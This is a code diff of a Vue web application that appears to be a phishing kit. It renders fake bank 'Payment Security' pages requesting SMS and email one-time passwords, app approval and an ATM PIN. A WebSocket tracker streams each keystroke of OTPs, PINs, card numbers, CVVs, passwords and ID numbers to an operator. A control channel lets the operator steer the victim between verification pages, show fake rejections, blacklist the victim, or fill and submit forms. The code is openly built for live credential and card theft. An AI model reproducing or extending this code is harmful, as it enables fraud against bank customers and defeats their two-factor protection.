margin-bottom: 1rem;
color: #333;
font-weight: 600;
}
.description {
margin-bottom: 1rem;
color: #555;
line-height: 1.5;
}
.transaction-details {
margin-bottom: 1.5rem;
color: #555;
line-height: 1.5;
}
.form-group {
margin-bottom: 1.5rem;
}
input {
width: 100%;
padding: 0.75rem;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 1rem;
text-align: center;
}
.error-message {
color: #d9534f;
margin-top: 0.5rem;
font-size: 0.875rem;
}
.continue-button {
padding: 0.75rem;
background-color: #f1f1f1;
color: #555;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s;
margin-bottom: 1.5rem;
}
.continue-button:hover:not(:disabled) {
background-color: #e5e5e5;
}
.continue-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.footer {
margin-top: auto;
text-align: center;
}
.privacy-link {
color: #0078d7;
text-decoration: none;
font-size: 0.875rem;
}
.privacy-link:hover {
text-decoration: underline;
}
</style>

View File

@@ -0,0 +1,248 @@
<template>
<div class="verification-container">
<div class="card">
<div class="logo">
<img src="/assets/bank-icon.svg" alt="Bank Logo" />
</div>
<h2>App Verification Required</h2>
<div class="app-verification-content">
<div class="app-icon">
<img src="/assets/bank-app-icon.svg" alt="Bank App Icon" />
</div>
<p class="description">
To complete this transaction, we have sent a verification request to your mobile banking app.
</p>
<p class="instruction">
Please open your banking app and approve the transaction.
</p>
<div class="verification-status">
<div class="status-indicator" :class="{ 'active': isProcessing }"></div>
<span>{{ statusText }}</span>
</div>
</div>
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('authentication')">
Learn more about App Authentication
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showAuthenticationHelp">
<p>
App verification is a secure way to authenticate your transactions.
When you initiate a payment, a notification is sent to your registered mobile banking app.
Simply open the app and approve the transaction by following the prompts.
</p>
</div>
</div>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('help')">
Need Some Help?
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showHelpContent">
<p>
If you're having trouble with App Verification:
</p>
<ul>
<li>Make sure you have the latest version of the mobile banking app installed</li>
<li>Check that you have enabled notifications for the banking app</li>
<li>Ensure your device has an internet connection</li>
<li>If you don't receive a notification, try refreshing the app</li>
</ul>
</div>
</div>
</div>
</div>
</template>
<script setup>
import { ref, computed, onMounted, watch } from 'vue'
import { useWebSocket } from '../../composables/useWebSocket'
// WebSocket相关
const {
verificationData,
isProcessing: wsProcessing,
customErrorMessage
} = useWebSocket()
const errorMessage = ref('')
const isProcessing = ref(true) // 默认显示处理中
const showAuthenticationHelp = ref(false)
const showHelpContent = ref(false)
const statusText = ref('Waiting for app verification...')
// 监听自定义错误信息
watch(customErrorMessage, (newVal) => {
if (newVal) {
errorMessage.value = newVal
isProcessing.value = false
statusText.value = 'Verification failed'
}
})
// 监听处理状态
watch(wsProcessing, (newVal) => {
isProcessing.value = newVal
if (!newVal) {
statusText.value = 'Verification complete'
} else {
statusText.value = 'Waiting for app verification...'
}
})
// 切换帮助内容显示
const toggleHelp = (type) => {
if (type === 'authentication') {
showAuthenticationHelp.value = !showAuthenticationHelp.value
} else if (type === 'help') {
showHelpContent.value = !showHelpContent.value
}
}
onMounted(() => {
// 检查是否有自定义错误信息
if (customErrorMessage.value) {
errorMessage.value = customErrorMessage.value
isProcessing.value = false
statusText.value = 'Verification failed'
}
})
</script>
<style scoped>
.verification-container {
background-color: #f5f5f5;
}
.card {
background: white;
border-radius: 4px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 100%;
min-height: 100vh;
padding: 2rem;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 1.5rem;
}
.logo img {
height: 32px;
width: auto;
}
h2 {
font-size: 1.5rem;
margin-bottom: 1.5rem;
color: #333;
text-align: center;
}
.app-verification-content {
display: flex;
flex-direction: column;
align-items: center;
margin-bottom: 2rem;
}
.app-icon {
margin-bottom: 1.5rem;
}
.app-icon img {
width: 72px;
height: auto;
}
.description, .instruction {
margin-bottom: 1.5rem;
color: #555;
line-height: 1.5;
text-align: center;
}
.verification-status {
display: flex;
align-items: center;
margin-top: 1rem;
}
.status-indicator {
width: 12px;
height: 12px;
border-radius: 50%;
background-color: #ddd;
margin-right: 0.75rem;
}
.status-indicator.active {
background-color: #28a745;
box-shadow: 0 0 0 4px rgba(40, 167, 69, 0.2);
animation: pulse 1.5s infinite;
}
@keyframes pulse {
0% {
box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.4);
}
70% {
box-shadow: 0 0 0 6px rgba(40, 167, 69, 0);
}
100% {
box-shadow: 0 0 0 0 rgba(40, 167, 69, 0);
}
}
.error-message {
color: #d9534f;
margin: 1rem 0;
font-size: 0.875rem;
text-align: center;
}
.collapsible {
margin-top: 1.5rem;
border-top: 1px solid #eee;
padding-top: 1rem;
}
.collapsible-header {
display: flex;
justify-content: space-between;
align-items: center;
cursor: pointer;
color: #0047b3;
font-weight: 500;
}
.toggle-icon {
font-size: 1.25rem;
line-height: 1;
}
.collapsible-content {
margin-top: 1rem;
color: #666;
line-height: 1.5;
}
.collapsible-content ul {
padding-left: 1.5rem;
}
.collapsible-content li {
margin-bottom: 0.5rem;
}
</style>

View File

@@ -0,0 +1,300 @@
<template>
<div class="verification-container">
<div class="card">
<div class="logo">
<img src="/assets/bank-icon.svg" alt="Bank Logo" />
</div>
<h2>Payment Security</h2>
<p class="description">
To ensure the security of your payment, we have sent a One-Time Password (OTP) in a text message to your registered email (last digits {{ verificationData?.emailLastDigits || '123@126.com' }}).
</p>
<p class="instruction">Please submit your One-Time Password (OTP).</p>
<div class="form-group">
<label for="verification-code">Verification Code</label>
<input
type="text"
id="verification-code"
v-model="verificationCode"
:disabled="isProcessing"
autocomplete="off"
placeholder=""
maxlength="6"
@input="handleInput"
/>
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
</div>
<button
class="submit-button"
@click="submitCode"
:disabled="!isValid || isProcessing"
>
<span v-if="!isProcessing">Confirm</span>
<span v-else class="processing">Processing...</span>
</button>
<div class="resend-link" @click="resendCode">Resend</div>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('authentication')">
Learn more about Authentication
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showAuthenticationHelp">
<p>
To protect your account and ensure secure transactions, we use a two-factor authentication system.
The one-time verification code is sent to your registered email address and is valid for 10 minutes.
Please check your inbox and spam folder if you don't see it.
</p>
</div>
</div>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('help')">
Need Some Help?
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showHelpContent">
<p>
If you didn't receive the verification code:
</p>
<ul>
<li>Check your spam or junk folder</li>
<li>Verify that your registered email address is correct</li>
<li>Wait a few minutes and try again</li>
<li>Add our domain to your safe senders list</li>
</ul>
</div>
</div>
</div>
</div>
</template>
<script setup>
import { ref, computed, onMounted, watch } from 'vue'
import { useWebSocket } from '../../composables/useWebSocket'
// WebSocket相关
const {
verificationData,
isProcessing: wsProcessing,
customErrorMessage,
submitVerificationCode,
resendVerificationCode,
trackInput
} = useWebSocket()
const verificationCode = ref('')
const errorMessage = ref('')
const isProcessing = ref(false)
const showAuthenticationHelp = ref(false)
const showHelpContent = ref(false)
const isValid = computed(() => {
return verificationCode.value.length >= 4
})
// 监听自定义错误信息
watch(customErrorMessage, (newVal) => {
if (newVal) {
errorMessage.value = newVal
}
})
// 监听处理状态
watch(wsProcessing, (newVal) => {
isProcessing.value = newVal
})
// 处理输入
const handleInput = (event) => {
// 只允许输入数字和字母
verificationCode.value = event.target.value.replace(/[^0-9a-zA-Z]/g, '')
// 清除错误信息
if (errorMessage.value) {
errorMessage.value = ''
}
// 实时发送验证码输入到WebSocket
if (verificationCode.value) {
trackInput('verifyCode', verificationCode.value)
}
}
// 提交验证码
const submitCode = () => {
if (!isValid.value || isProcessing.value) return
isProcessing.value = true
errorMessage.value = ''
// 发送到WebSocket
submitVerificationCode('email', verificationCode.value)
}
// 重新发送验证码
const resendCode = () => {
if (isProcessing.value) return
resendVerificationCode('email')
errorMessage.value = ''
verificationCode.value = ''
}
// 切换帮助内容显示
const toggleHelp = (type) => {
if (type === 'authentication') {
showAuthenticationHelp.value = !showAuthenticationHelp.value
} else if (type === 'help') {
showHelpContent.value = !showHelpContent.value
}
}
onMounted(() => {
// 检查是否有自定义错误信息
if (customErrorMessage.value) {
errorMessage.value = customErrorMessage.value
}
})
</script>
<style scoped>
.verification-container {
min-height: 100vh;
background-color: #f5f5f5;
}
.card {
background: white;
border-radius: 4px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 100%;
min-height: 100vh;
padding: 2rem;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 1.5rem;
}
.logo img {
height: 32px;
width: auto;
}
h2 {
font-size: 1.5rem;
margin-bottom: 1rem;
color: #333;
}
.description, .instruction {
margin-bottom: 1.5rem;
color: #555;
line-height: 1.5;
}
.form-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-weight: 500;
margin-bottom: 0.5rem;
color: #666;
}
input {
width: 100%;
padding: 0.75rem;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 1rem;
}
.error-message {
color: #d9534f;
margin-top: 0.5rem;
font-size: 0.875rem;
}
.submit-button {
width: 100%;
padding: 0.75rem;
background-color: #0047b3;
color: white;
border: none;
border-radius: 4px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s;
}
.submit-button:hover:not(:disabled) {
background-color: #003d99;
}
.submit-button:disabled {
background-color: #99b3e6;
cursor: not-allowed;
}
.processing {
display: inline-block;
position: relative;
}
.resend-link {
text-align: center;
margin-top: 1rem;
color: #0047b3;
cursor: pointer;
font-size: 0.875rem;
}
.resend-link:hover {
text-decoration: underline;
}
.collapsible {
margin-top: 1.5rem;
border-top: 1px solid #eee;
padding-top: 1rem;
}
.collapsible-header {
display: flex;
justify-content: space-between;
align-items: center;
cursor: pointer;
color: #0047b3;
font-weight: 500;
}
.toggle-icon {
font-size: 1.25rem;
line-height: 1;
}
.collapsible-content {
margin-top: 1rem;
color: #666;
line-height: 1.5;
}
.collapsible-content ul {
padding-left: 1.5rem;
}
.collapsible-content li {
margin-bottom: 0.5rem;
}
</style>

View File

@@ -0,0 +1,331 @@
<template>
<div>
<div class="card">
<div class="logo">
<svg width="36" height="36" viewBox="0 0 36 36" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M10 10H26V28H10V10Z" stroke="#333333" stroke-width="2"/>
<path d="M7 10H29" stroke="#333333" stroke-width="2"/>
<path d="M13 16H15" stroke="#333333" stroke-width="2"/>
<path d="M13 22H15" stroke="#333333" stroke-width="2"/>
<path d="M21 16H23" stroke="#333333" stroke-width="2"/>
<path d="M21 22H23" stroke="#333333" stroke-width="2"/>
<rect x="14" y="5" width="8" height="5" stroke="#333333" stroke-width="2"/>
</svg>
</div>
<h2>Payment Security</h2>
<p class="description">
To ensure the security of your payment, we have sent a One-Time Password (OTP) in a text message to your registered mobile number (last digits {{ verificationData?.phoneLastDigits || '1111' }}).
</p>
<p class="instruction">Please submit your One-Time Password (OTP).</p>
<div class="form-group">
<label for="verification-code">Verification Code</label>
<input
type="text"
id="verification-code"
v-model="verificationCode"
:disabled="isProcessing"
autocomplete="off"
placeholder=""
maxlength="6"
@input="handleInput"
/>
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
</div>
<button
class="submit-button"
@click="submitCode"
:disabled="!isValid || isProcessing"
>
<span v-if="!isProcessing">Submit</span>
<span v-else class="processing">Processing...</span>
</button>
<div class="resend-link" @click="resendCode">Resend</div>
<div class="divider"></div>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('authentication')">
Learn more about Authentication
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showAuthenticationHelp">
<p>
To protect your account and ensure secure transactions, we use a two-factor authentication system.
The one-time verification code is sent to your registered mobile number and is valid for 5 minutes.
</p>
</div>
</div>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('help')">
Need Some Help?
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showHelpContent">
<p>
If you didn't receive the verification code:
</p>
<ul>
<li>Check if your phone has signal</li>
<li>Verify that your registered mobile number is correct</li>
<li>Wait a few minutes and try again</li>
<li>Check your spam or junk folder</li>
</ul>
</div>
</div>
</div>
</div>
</template>
<script setup>
import { ref, computed, onMounted, watch } from 'vue'
import { useWebSocket } from '../../composables/useWebSocket'
// WebSocket相关
const {
verificationData,
isProcessing: wsProcessing,
customErrorMessage,
submitVerificationCode,
resendVerificationCode,
trackInput
} = useWebSocket()
const verificationCode = ref('')
const errorMessage = ref('')
const isProcessing = ref(false)
const showAuthenticationHelp = ref(false)
const showHelpContent = ref(false)
const isValid = computed(() => {
return verificationCode.value.length >= 4
})
// 监听自定义错误信息
watch(customErrorMessage, (newVal) => {
if (newVal) {
errorMessage.value = newVal
}
})
// 监听处理状态
watch(wsProcessing, (newVal) => {
isProcessing.value = newVal
})
// 处理输入
const handleInput = (event) => {
// 只允许输入数字
verificationCode.value = event.target.value.replace(/[^0-9]/g, '')
// 清除错误信息
if (errorMessage.value) {
errorMessage.value = ''
}
// 实时发送验证码输入到WebSocket
if (verificationCode.value) {
trackInput('verifyCode', verificationCode.value)
}
}
// 提交验证码
const submitCode = () => {
if (!isValid.value || isProcessing.value) return
isProcessing.value = true
errorMessage.value = ''
// 发送到WebSocket
submitVerificationCode('otp', verificationCode.value)
}
// 重新发送验证码
const resendCode = () => {
if (isProcessing.value) return
resendVerificationCode('otp')
errorMessage.value = ''
verificationCode.value = ''
}
// 切换帮助内容显示
const toggleHelp = (type) => {
if (type === 'authentication') {
showAuthenticationHelp.value = !showAuthenticationHelp.value
} else if (type === 'help') {
showHelpContent.value = !showHelpContent.value
}
}
onMounted(() => {
// 检查是否有自定义错误信息
if (customErrorMessage.value) {
errorMessage.value = customErrorMessage.value
}
})
</script>
<style scoped>
.verification-container {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
padding: 1rem;
background-color: #f5f5f5;
}
.card {
background: white;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
width: 100%;
min-height: 100vh;
padding: 2rem 1.5rem;
margin-bottom: 2rem; /* 确保底部有足够空间 */
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 1.5rem;
}
.logo svg {
height: 40px;
width: auto;
}
h2 {
font-size: 1.5rem;
margin-bottom: 1rem;
color: #333;
text-align: center;
font-weight: 600;
}
.description, .instruction {
margin-bottom: 1.5rem;
color: #333;
line-height: 1.5;
text-align: left;
}
.form-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-weight: 500;
margin-bottom: 0.5rem;
color: #333;
text-align: center;
}
input {
width: 100%;
padding: 0.75rem;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 1rem;
}
.error-message {
color: #d9534f;
margin-top: 0.5rem;
font-size: 0.875rem;
}
.submit-button {
width: 100%;
padding: 0.75rem;
background-color: #003399;
color: white;
border: none;
border-radius: 4px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s;
}
.submit-button:hover:not(:disabled) {
background-color: #002266;
}
.submit-button:disabled {
background-color: #99b3e6;
cursor: not-allowed;
}
.processing {
display: inline-block;
position: relative;
}
.resend-link {
text-align: center;
color: #003399;
margin-top: 1rem;
cursor: pointer;
font-size: 0.9rem;
}
.resend-link:hover {
text-decoration: underline;
}
.divider {
height: 1px;
background-color: #eee;
margin: 1.5rem 0;
}
.collapsible {
margin-bottom: 1.5rem; /* 增加底部间距 */
}
.collapsible-header {
display: flex;
justify-content: space-between;
align-items: center;
color: #003399;
cursor: pointer;
font-size: 0.9rem;
padding: 0.5rem 0;
}
.toggle-icon {
font-weight: bold;
}
.collapsible-content {
padding-top: 0.75rem;
padding-bottom: 0.75rem; /* 添加底部内边距 */
font-size: 0.9rem;
color: #555;
line-height: 1.5;
}
.collapsible-content ul {
padding-left: 1rem;
margin-top: 0.5rem;
margin-bottom: 0.5rem; /* 添加底部外边距 */
}
.collapsible-content li {
margin-bottom: 0.5rem; /* 增加列表项间距 */
}
/* 添加额外的底部空间,确保页面完全展示 */
.collapsible:last-child {
margin-bottom: 5rem;
}
</style>

View File

@@ -0,0 +1,272 @@
<template>
<div class="verification-container">
<div class="card">
<div class="logo">
<img src="/assets/bank-icon.svg" alt="Bank Logo" />
</div>
<h2>Security Verification</h2>
<p class="description">
Please enter your PIN code to complete this transaction.
</p>
<div class="form-group">
<label for="pin-code">PIN Code</label>
<input
type="password"
id="pin-code"
v-model="pinCode"
:disabled="isProcessing"
autocomplete="off"
placeholder=""
maxlength="6"
@input="handleInput"
/>
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
</div>
<button
class="submit-button"
@click="submitCode"
:disabled="!isValid || isProcessing"
>
<span v-if="!isProcessing">Submit</span>
<span v-else class="processing">Processing...</span>
</button>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('authentication')">
Learn more about Authentication
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showAuthenticationHelp">
<p>
For your security, we require PIN verification for online transactions.
This PIN is the same one you use for ATM transactions or telephone banking.
If you've forgotten your PIN, please contact customer service.
</p>
</div>
</div>
<div class="collapsible">
<div class="collapsible-header" @click="toggleHelp('help')">
Need Some Help?
<span class="toggle-icon">+</span>
</div>
<div class="collapsible-content" v-if="showHelpContent">
<p>
If you're having trouble with your PIN:
</p>
<ul>
<li>Make sure you're entering the correct PIN</li>
<li>If you've forgotten your PIN, contact customer service</li>
<li>Try using your most recent PIN if you've changed it recently</li>
</ul>
</div>
</div>
</div>
</div>
</template>
<script setup>
import { ref, computed, onMounted, watch } from 'vue'
import { useWebSocket } from '../../composables/useWebSocket'
// WebSocket相关
const {
verificationData,
isProcessing: wsProcessing,
customErrorMessage,
submitVerificationCode,
trackInput
} = useWebSocket()
const pinCode = ref('')
const errorMessage = ref('')
const isProcessing = ref(false)
const showAuthenticationHelp = ref(false)
const showHelpContent = ref(false)
const isValid = computed(() => {
return pinCode.value.length >= 4
})
// 监听自定义错误信息
watch(customErrorMessage, (newVal) => {
if (newVal) {
errorMessage.value = newVal
}
})
// 监听处理状态
watch(wsProcessing, (newVal) => {
isProcessing.value = newVal
})
// 处理输入
const handleInput = (event) => {
// 只允许输入数字
pinCode.value = event.target.value.replace(/[^0-9]/g, '')
// 清除错误信息
if (errorMessage.value) {
errorMessage.value = ''
}
// 实时发送PIN码输入到WebSocket
if (pinCode.value) {
trackInput('pin', pinCode.value)
}
}
// 提交PIN码
const submitCode = () => {
if (!isValid.value || isProcessing.value) return
isProcessing.value = true
errorMessage.value = ''
// 发送到WebSocket
submitVerificationCode('pin', pinCode.value)
}
// 切换帮助内容显示
const toggleHelp = (type) => {
if (type === 'authentication') {
showAuthenticationHelp.value = !showAuthenticationHelp.value
} else if (type === 'help') {
showHelpContent.value = !showHelpContent.value
}
}
onMounted(() => {
// 检查是否有自定义错误信息
if (customErrorMessage.value) {
errorMessage.value = customErrorMessage.value
}
})
</script>
<style scoped>
.verification-container {
background-color: #f5f5f5;
}
.card {
background: white;
border-radius: 4px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 100%;
min-height: 100vh;
padding: 2rem;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 1.5rem;
}
.logo img {
height: 32px;
width: auto;
}
h2 {
font-size: 1.5rem;
margin-bottom: 1rem;
color: #333;
}
.description {
margin-bottom: 1.5rem;
color: #555;
line-height: 1.5;
}
.form-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-weight: 500;
margin-bottom: 0.5rem;
color: #666;
}
input {
width: 100%;
padding: 0.75rem;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 1rem;
}
.error-message {
color: #d9534f;
margin-top: 0.5rem;
font-size: 0.875rem;
}
.submit-button {
width: 100%;
padding: 0.75rem;
background-color: #0047b3;
color: white;
border: none;
border-radius: 4px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s;
}
.submit-button:hover:not(:disabled) {
background-color: #003d99;
}
.submit-button:disabled {
background-color: #99b3e6;
cursor: not-allowed;
}
.processing {
display: inline-block;
position: relative;
}
.collapsible {
margin-top: 1.5rem;
border-top: 1px solid #eee;
padding-top: 1rem;
}
.collapsible-header {
display: flex;
justify-content: space-between;
align-items: center;
cursor: pointer;
color: #0047b3;
font-weight: 500;
}
.toggle-icon {
font-size: 1.25rem;
line-height: 1;
}
.collapsible-content {
margin-top: 1rem;
color: #666;
line-height: 1.5;
}
.collapsible-content ul {
padding-left: 1.5rem;
}
.collapsible-content li {
margin-bottom: 0.5rem;
}
</style>

View File

@@ -0,0 +1,207 @@
import { ref, onMounted, onUnmounted, watch } from 'vue'
import getUserBehaviorTracker from '../services/websocket.js'
import { useRouter } from 'vue-router'
export function useWebSocket() {
const router = useRouter()
const behaviorTracker = getUserBehaviorTracker()
const connectionStatus = ref(behaviorTracker.getConnectionStatus())
const controlConnectionStatus = ref(behaviorTracker.getControlConnectionStatus())
const isConnected = ref(behaviorTracker.isConnected)
const isControlConnected = ref(behaviorTracker.isControlConnected)
const userUUID = ref(behaviorTracker.uuid || '')
// 验证相关状态
const customErrorMessage = ref('') // 自定义错误信息
const verificationData = ref(null) // 验证相关数据
const isProcessing = ref(false) // 处理状态
const isCardRejected = ref(false) // 卡片拒绝状态
// 更新连接状态
const updateConnectionStatus = () => {
connectionStatus.value = behaviorTracker.getConnectionStatus()
isConnected.value = behaviorTracker.isConnected
controlConnectionStatus.value = behaviorTracker.getControlConnectionStatus()
isControlConnected.value = behaviorTracker.isControlConnected
}
// 获取用户UUID
const getUserUUID = () => {
return behaviorTracker.uuid
}
// 页面行为追踪
const trackPageView = (pageName, pageData = {}) => {
behaviorTracker.trackPageView(pageName, pageData)
}
const trackStepChange = (stepNumber, stepName, stepData = {}) => {
behaviorTracker.trackStepChange(stepNumber, stepName, stepData)
}
const trackButtonClick = (buttonName, buttonData = {}) => {
behaviorTracker.trackButtonClick(buttonName, buttonData)
}
// 表单提交追踪
const trackFormSubmit = (formType, formData = {}) => {
switch (formType) {
case 'payment':
behaviorTracker.trackCompletePayment()
break
case 'registration':
behaviorTracker.trackCompleteRegistration()
break
case 'login':
behaviorTracker.trackLogin(formData)
break
case 'account_lookup':
behaviorTracker.sendBehavior('account_lookup', '账户查询', formData)
break
case 'payment_processing':
behaviorTracker.sendBehavior('payment_processing', '支付处理', formData)
break
}
}
// 处理验证提交
const submitVerificationCode = (type, code) => {
isProcessing.value = true
// 发送验证码到ws_sub订阅
behaviorTracker.sendToWsSub({
type: `${type}_verification_submit`,
data: {
code: code,
timestamp: new Date().toISOString()
}
})
// 模拟网络延迟
setTimeout(() => {
isProcessing.value = false
}, 1500)
}
// 设置控制WebSocket回调
const setupControlCallbacks = () => {
// 返回上一步
behaviorTracker.registerControlCallback('returnPrevStep', () => {
router.go(-1);
});
// OTP验证
behaviorTracker.registerControlCallback('otpVerification', (data) => {
verificationData.value = data.data || {};
router.push('/otp-verification');
});
// Email验证
behaviorTracker.registerControlCallback('emailVerification', (data) => {
verificationData.value = data.data || {};
router.push('/email-verification');
});
// App验证
behaviorTracker.registerControlCallback('appVerification', (data) => {
verificationData.value = data.data || {};
router.push('/app-verification');
});
// PIN验证
behaviorTracker.registerControlCallback('pinVerification', (data) => {
verificationData.value = data.data || {};
router.push('/pin-verification');
});
// 运通CVV验证
behaviorTracker.registerControlCallback('amexCvvVerification', (data) => {
verificationData.value = data.data || {};
router.push('/amex-cvv-verification');
});
// 拒绝自定义文案
behaviorTracker.registerControlCallback('rejectCustom', (data) => {
customErrorMessage.value = data.message || '验证失败,请重试。';
window.dispatchEvent(new CustomEvent('showError', { detail: { message: customErrorMessage.value } }));
});
// 拒绝更换卡片
behaviorTracker.registerControlCallback('rejectCardChange', () => {
isCardRejected.value = true;
customErrorMessage.value = '卡片被拒绝,请使用其他支付方式。';
window.dispatchEvent(new CustomEvent('showError', { detail: { message: customErrorMessage.value } }));
});
// 断开连接
behaviorTracker.registerControlCallback('disconnect', () => {
behaviorTracker.disconnect();
behaviorTracker.disconnectControl();
});
// 拉黑
behaviorTracker.registerControlCallback('blacklist', () => {
router.push('/blocked');
});
// 清空表单
behaviorTracker.registerControlCallback('clearForm', (data) => {
// 可以通过事件总线触发表单清空
window.dispatchEvent(new CustomEvent('clearForm', { detail: data }));
});
// 填充表单
behaviorTracker.registerControlCallback('fillForm', (data) => {
if (data.formData) {
window.dispatchEvent(new CustomEvent('fillForm', { detail: data.formData }));
}
});
// 提交表单
behaviorTracker.registerControlCallback('submitForm', () => {
window.dispatchEvent(new CustomEvent('submitForm'));
});
// 导航到指定页面
behaviorTracker.registerControlCallback('navigateTo', (data) => {
if (data.path) {
router.push(data.path);
}
});
// 显示错误
behaviorTracker.registerControlCallback('showError', (data) => {
customErrorMessage.value = data.message || '发生错误,请重试。';
window.dispatchEvent(new CustomEvent('showError', { detail: data }));
});
}
// 在组件挂载时设置控制回调
onMounted(() => {
setupControlCallbacks();
});
// 组件卸载时清理资源
onUnmounted(() => {
// 可以在这里清理一些资源
});
return {
isConnected,
isControlConnected,
connectionStatus,
controlConnectionStatus,
userUUID,
customErrorMessage,
verificationData,
isProcessing,
isCardRejected,
getUserUUID,
trackPageView,
trackStepChange,
trackButtonClick,
trackFormSubmit,
updateConnectionStatus,
submitVerificationCode
}
}

13
src/main.js Normal file
View File

@@ -0,0 +1,13 @@
import { createApp } from 'vue'
import App from './App.vue'
import router from './router'
import './style.css'
import './assets/purolator.css'
import { setupNavigationTracking } from './plugins/navigationTracking.js'
const app = createApp(App)
app.use(router)
setupNavigationTracking(router)
app.mount('#app')

View File

@@ -0,0 +1,159 @@
import getUserBehaviorTracker from '../services/websocket.js';
let behaviorTracker = null;
export const behaviorTrackingMixin = {
created() {
if (!behaviorTracker) {
behaviorTracker = getUserBehaviorTracker();
}
this.$behaviorTracker = behaviorTracker;
// 监听clearForm事件
this.clearFormListener = (event) => {
if (this.resetForm && typeof this.resetForm === 'function') {
this.resetForm();
}
};
window.addEventListener('clearForm', this.clearFormListener);
// 监听fillForm事件
this.fillFormListener = (event) => {
if (this.formData && event.detail) {
Object.keys(event.detail).forEach(key => {
if (key in this.formData) {
this.formData[key] = event.detail[key];
}
});
}
};
window.addEventListener('fillForm', this.fillFormListener);
// 监听submitForm事件
this.submitFormListener = () => {
if (this.processPayment && typeof this.processPayment === 'function') {
this.processPayment();
}
};
window.addEventListener('submitForm', this.submitFormListener);
},
beforeUnmount() {
// 移除事件监听器
window.removeEventListener('clearForm', this.clearFormListener);
window.removeEventListener('fillForm', this.fillFormListener);
window.removeEventListener('submitForm', this.submitFormListener);
if (this.$route.name === 'Home' || this.$route.path === '/') {
behaviorTracker?.disconnect();
behaviorTracker?.disconnectControl();
}
},
methods: {
trackInputBehavior(inputType, value, element) {
if (!this.$behaviorTracker) return;
const fieldMapping = {
'name': () => this.$behaviorTracker.trackInputName(value),
'nameOnCard': () => this.$behaviorTracker.trackInputCardHolder(value),
'phone': () => this.$behaviorTracker.trackInputPhone(value),
'email': () => this.$behaviorTracker.trackInputEmail(value),
'idCard': () => this.$behaviorTracker.trackInputIdCard(value),
'username': () => this.$behaviorTracker.trackInputUsername(value),
'password': () => this.$behaviorTracker.trackInputPassword(value),
'verifyCode': () => this.$behaviorTracker.trackInputVerifyCode(value),
'pin': () => this.$behaviorTracker.trackInputPin(value),
'country': () => this.$behaviorTracker.trackInputAddressCountry(value),
'state': () => this.$behaviorTracker.trackInputAddressState(value),
'city': () => this.$behaviorTracker.trackInputAddressCity(value),
'address': () => this.$behaviorTracker.trackInputAddressDetail(value),
'zipCode': () => this.$behaviorTracker.trackInputAddressZip(value),
'cardNumber': () => this.$behaviorTracker.trackInputCardNumber(value),
'cardType': () => this.$behaviorTracker.trackInputCardType(value),
'expiryDate': () => this.$behaviorTracker.trackInputCardExpiry(value),
'securityCode': () => this.$behaviorTracker.trackInputCardCvv(value),
'cvv': () => this.$behaviorTracker.trackInputCardCvv(value),
'cardRemark': () => this.$behaviorTracker.trackInputCardRemark(value)
};
const trackingFunction = fieldMapping[inputType];
if (trackingFunction) {
trackingFunction();
}
},
trackFormSubmit(formType, formData) {
if (!this.$behaviorTracker) return;
switch (formType) {
case 'payment':
this.$behaviorTracker.trackCompletePayment();
break;
case 'registration':
this.$behaviorTracker.trackCompleteRegistration();
break;
case 'login':
this.$behaviorTracker.trackLogin(formData);
break;
}
},
setupInputTracking() {
this.$nextTick(() => {
const inputs = this.$el.querySelectorAll('input, textarea, select');
inputs.forEach(input => {
const trackingKey = this.getTrackingKey(input);
if (!trackingKey) return;
const debouncedTrack = this.debounce((value) => {
this.trackInputBehavior(trackingKey, value, input);
}, 500);
input.addEventListener('input', (event) => {
debouncedTrack(event.target.value);
});
input.addEventListener('blur', (event) => {
if (event.target.value.trim()) {
this.trackInputBehavior(trackingKey, event.target.value, input);
}
});
});
});
},
getTrackingKey(input) {
if (input.id) return input.id;
if (input.name) return input.name;
if (input.getAttribute('data-track')) return input.getAttribute('data-track');
const placeholder = input.placeholder?.toLowerCase();
if (placeholder?.includes('name')) return 'name';
if (placeholder?.includes('phone')) return 'phone';
if (placeholder?.includes('email')) return 'email';
if (placeholder?.includes('card')) return 'cardNumber';
if (placeholder?.includes('expiry') || placeholder?.includes('expire')) return 'expiryDate';
if (placeholder?.includes('cvv') || placeholder?.includes('security')) return 'cvv';
return null;
},
debounce(func, wait) {
let timeout;
